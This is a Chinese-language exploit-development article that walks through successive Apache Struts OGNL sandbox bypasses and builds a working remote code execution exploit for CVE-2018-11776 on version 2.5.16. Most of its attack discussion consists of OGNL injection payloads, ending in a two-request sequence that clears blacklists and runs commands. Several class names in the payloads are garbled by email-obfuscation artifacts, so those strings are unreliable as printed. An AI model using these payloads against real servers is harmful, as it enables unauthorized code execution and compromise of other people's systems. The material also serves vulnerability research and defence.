导语:本文讲述如何构建CVE-2018-11776的漏洞利用。

本文讲述如何构建CVE-2018-11776的漏洞利用。

Struts OGNL利用史

首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。

OGNL执行环境

在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改SecurityMemberAccess 的安全设置。比如:

#_memberAccess['allowStaticMethodAccess']=true会修改_memberAccess中的设置。

@[email protected]().exec('xcalc')会弹出一个计算器。

SecurityMemberAccess

Struts用_memberAccess来控制OGNL中允许的行为。最开始使用一些布尔变量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess, allowStaticMethodAccess)来提供对OGNL访问Java classes方法和成员的访问。默认情况下,这些设置都是false。在之后的版本中,出现了用于拒绝对特定类和package进行访问的3个黑名单,分别是:

· excludedClasses

· excludedPackageNames

· excludedPackageNamePatterns。

不允许使用静态方法,但允许任意构造器(2.3.20之前版本)

默认情况下,_memberAccess 会进行配置会预防对静态、私有和受保护的方法的访问。但是在2.3.14.1版本之前,这可以通过提取#_memberAccess和修改其中的设置来轻松绕过。许多漏洞利用都使用了这样的方法,比如:

 (#_memberAccess['allowStaticMethodAccess']=true).(@[email protected]().exec('xcalc'))

allowStaticAccess

在2.3.14.1及之后版本,allowStaticMethodAccess变成了final,并且不能再修改。但是 _memberAccess允许构造任意类和访问公有方法,执行任意代码就不需要修改中 _memberAccess的设置了:

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

这在2.3.20之前版本都适用。

2320exploit

没有静态方法,没有构建函数,但是允许访问任意类(2.3.20-2.3.29)

在2.3.20版本中,将excludedClasses, excludedPackageNames和excludedPackageNamePatterns类加入了黑名单。另一个变化是拒绝所有constructor调用。这会杀掉ProcessBuilder payload,从这点看,静态方法和constructors都是不允许的,这会对OGNL的功能做出限制。但_memberAccess仍然是可以访问的,静态对象DefaultMemberAccess也是可以访问的。

DefaultMemberAccess对象是默认SecurityMemberAccess的一个版本,SecurityMemberAccess允许静态方法和构造函数。所以用DefaultMemberAccess替换_memberAccess就可以了。

#[email protected]@DEFAULT_MEMBER_ACCESS).(@[email protected]().exec('xcalc')

这在2.3.29版本之前都是适用的,而且这是最近的一个利用的重要部分。

对_memberAccess和类不再限制(2.3.30/2.5.2+)

最后, _memberAccess这些简单的技巧都不能用了。类ognl.MemberAccess和 ognl.DefaultMemberAccess都被加入黑名单了。下面看以下如何绕过:

#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc')

首先注意该利用并不会尝试到达_memberAccess。而是OgnlUtil获取的实例,并清除黑名单。那是怎么做到的呢?首先从context map中获取Container,其中含有以下key:

contextKeys

Key com.opensymphony.xwork2.ActionContext.container会给出OGNL执行环境中Container的实例:

container

 getInstance 方法会尝试创建一个类OgnlUtil的实例,但因为是singleton(单例模式),所以会返回现有的全局实例。

ognlUtil

为了了解全局OgnlUtil对象中的excludedClasses与 _memberAccess对象的关系,下面看一下_memberAccess是如何初始化的。

当请求到达时,调用createActionContext方法来创建新的ActionContext。

createActionContext

最终调用OgnlValueStack的setOgnlUtil方法来初始化OgnlValueStack的securityMemberAccess和OgnlUtil的全局实例。

 setOgnlUtil

从下面的例子中可以看出,securityMemberAccess和 _memberAccess是一样的。

_memberAccess 

这意味着OgnlUtil的全局实例与_memberAccess共享相同的excludedClasses, excludedPackageNames, excludedPackageNamePatternsSet,因此清除它们后也清除了_memberAccess中对应的Set。

之后,OGNL可以自由访问OgnlContext中的DEFAULT_MEMBER_ACCESS对象和setMemberAccess方法来用DEFAULT_MEMBER_ACCES替换_memberAccess,然后执行任意代码。

2510exploit

绕过2.5.16

下面解释如何在2.5.16中绕过安全措施,攻击CVE-2018-11776。

首先看一下公开的漏洞利用POC:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

下面开始构造可以工作的漏洞利用:

 (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

该漏洞利用并不在2.5.16版本上适用,因为该版本引入了一些新的安全措施。首先,对context和excludedClasses的访问在2.5.13版本中被移除,黑名单在2.5.10版本之后不能修改了。

下面看一下attr:

attr 

struts.valueStack的值以OgnlValueStack作为类型。如果想要用OGNL使用的context map,那么OgnlValueStack是一个不错的选择。getContext方法可以提供我们想要的context map。所以把刚才的漏洞利用修改为:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

但是因为excludedClasses和excludedPackageNames 都不能修改,因为该漏洞利用还是不能工作。

clearFail

但黑名单其实是可以通过setters修改的:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

修改后还不能工作,为什么呢?因为excludedClasses集被从 ognlUtil中清除了:

 clearExcludedOgnl

但不在 _memberAccess中:

notclearMemberAccess

这是因为在ognlUtil中设置excludedClasses时,会分配excludedClasses一个新的空集而不是修改_memberAccess和ognlUtil引用的集合,所以修改只影响 ognlUtil,而不影响_memberAccess。然后重新发送payload:

calculator_2516

成功打开了计算器。是如何做到的呢? _memberAccess是请求到达时,创建新ActionContext过程中创建的临时对象。每次当用createActionContext方法创建新的ActionContext时,都会调用setOgnlUtil方法使用excludedClasses, excludedPackageNames等创建_memberAccess。重新发送请求后,新创建的_memberAccess会请求其黑名单类和package,运行执行任意代码。

最后形成了两个payload,一个是清空excludedClasses和excludedPackageNames黑名单的:

 (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

另一个是缓和_memberAccess,执行任意代码:

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

顺序发送这两个payload就可以利用CVE-2018-11776执行任意代码。

源链接

Hacking more

...